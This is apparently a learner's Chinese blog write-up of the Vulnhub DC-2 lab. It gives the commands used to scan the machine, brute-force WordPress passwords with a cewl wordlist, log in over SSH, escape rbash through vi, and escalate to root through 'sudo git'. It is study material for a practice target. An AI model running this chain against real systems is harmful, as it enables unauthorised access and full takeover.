Vulnhub DC-2靶机渗透

信息搜集

nmap扫描端口
nmap -sV 192.168.146.140 -p1-10000


开了80端口,那就直接访问一下把。(7744端口是ssh端口,之后会用到)
输入ip,发现url处变成dc-2但是无法访问。估计是要设置一下hosts。
win10一般在C:\Windows\System32\drivers\etc下,文件尾部加上 ip dc-2即可。

一看这主页,诶,这不是wp吗? 直接上wpscan扫描一下呀。

wpscan --url dc-2 --enumerate vp //扫描易受攻击的插件
wpscan --url dc-2 --enumerate vt //扫描易受攻击的模板
wpscan -h  //帮助

getFlag

flag1

访问网页直接有。

大概意思就是用cewl生成一个字典,然后去爆破。
众所周知,wp不改动的话,后台登陆页面就是wp-login.php,这里并没有改动。
先祭出wpscan爆破下用户名,有三个admin、jerry、tom。
wpscan --url dc-2 --enumerate u

本想直接用crunch生成字典,但是感觉太大了,无奈放弃。我选择学学cewl!

了解了一下,发现这个工具还挺神奇,它并不是无脑生成字典,爬取网页的内容来制作密码字典,有点撞库的意味昂。说干就干。

cewl -w pwd.txt dc-2		//爬取的内容输出到文件pwd.txt
cat pwd.txt | wc -l  	//238,总共238行,不多不多
wpscan --url dc-2 -P pwd.txt -U admin  //爆破admin的密码,当然爆不出来啦
wpscan --url dc-2 -P pwd.txt -U jerry  //爆破jerry密码为adipiscing
wpscan --url dc-2 -P pwd.txt -U tom		//爆破tom密码为parturient


flag2

使用jerry登陆进去,在Pages中看到flag2

退出换tom登陆没什么信息

flag3

flag2提示我们要换思路,那么这时我就有一种强烈的想法。
这些账号能不能ssh? 信息搜集的时候22端口是改为了7744的,这不是此地无银三百两吗?
试试了jerry,连不上去,先放着。ssh jerry@192.168.146.140 -p 7744
试试tom,连上了。ssh tom@192.168.146.140 -p 7744

无法使用cat、tail、head等读取flag3(绝望...),然后尝试使用more/less,发现less可以读取文件。

感觉下一步已经很明确了,就是su jerry。
但是这rbash又是啥?搜索一下资料。
rbash是Restricted Shell,既受限的shell,它与一般标准shell的区别在于会限制执行一些行为。
常见的绕过方式:https://www.freebuf.com/articles/system/188989.html
这里其实vi flag3.txt也是可以的

flag4

这里我用上面链接的方法,直接跳过了su步骤,拿到了flag4...

//在一些编辑器或命令中设置shell变量然后执行
vi 1.txt	
:set shell=/bin/sh
:shell
less ../jerry/flag4.txt

当然,我们可以继续研究怎么su jerry,现在我们有了/bin/sh可以尝试引入环境变量了.
试一试就能发现,环境变量不再是只读的了。

export PATH=$PATH:/bin/		//su在/bin下
su jerry  

可以看到我们成为了jerry,也可以读到flag4.txt了


可以看到,这里说还差一步,并且最后一步要使用git。

flag5

最后提示要用git,那就查查git提权。 查到相关文章,其实就是sudo提权

//直接找到利用方法
sudo git -p help			//使用这个前要先将/usr/bin引入环境变量
!/bin/bash

一脸懵逼好吧... 那就继续学习下,看看是什么原理。
1、sudo是给普通用户某个命令有root权限,并不需要给root密码,是一种临时的权限
2、当某个程序以root身份运行时,它执行的命令也是以root身份执行的。因此,我们可以使用git来启动一个root权限的shell。这样我们就可以执行任何命令了。

总结

感觉自己还有很多东西要学习的。
明天起来继续学习:cewl、rbash设置与绕过、sudo提权。

posted @ 2020-03-18 23:41  A1oe  阅读(259)  评论(0编辑  收藏  举报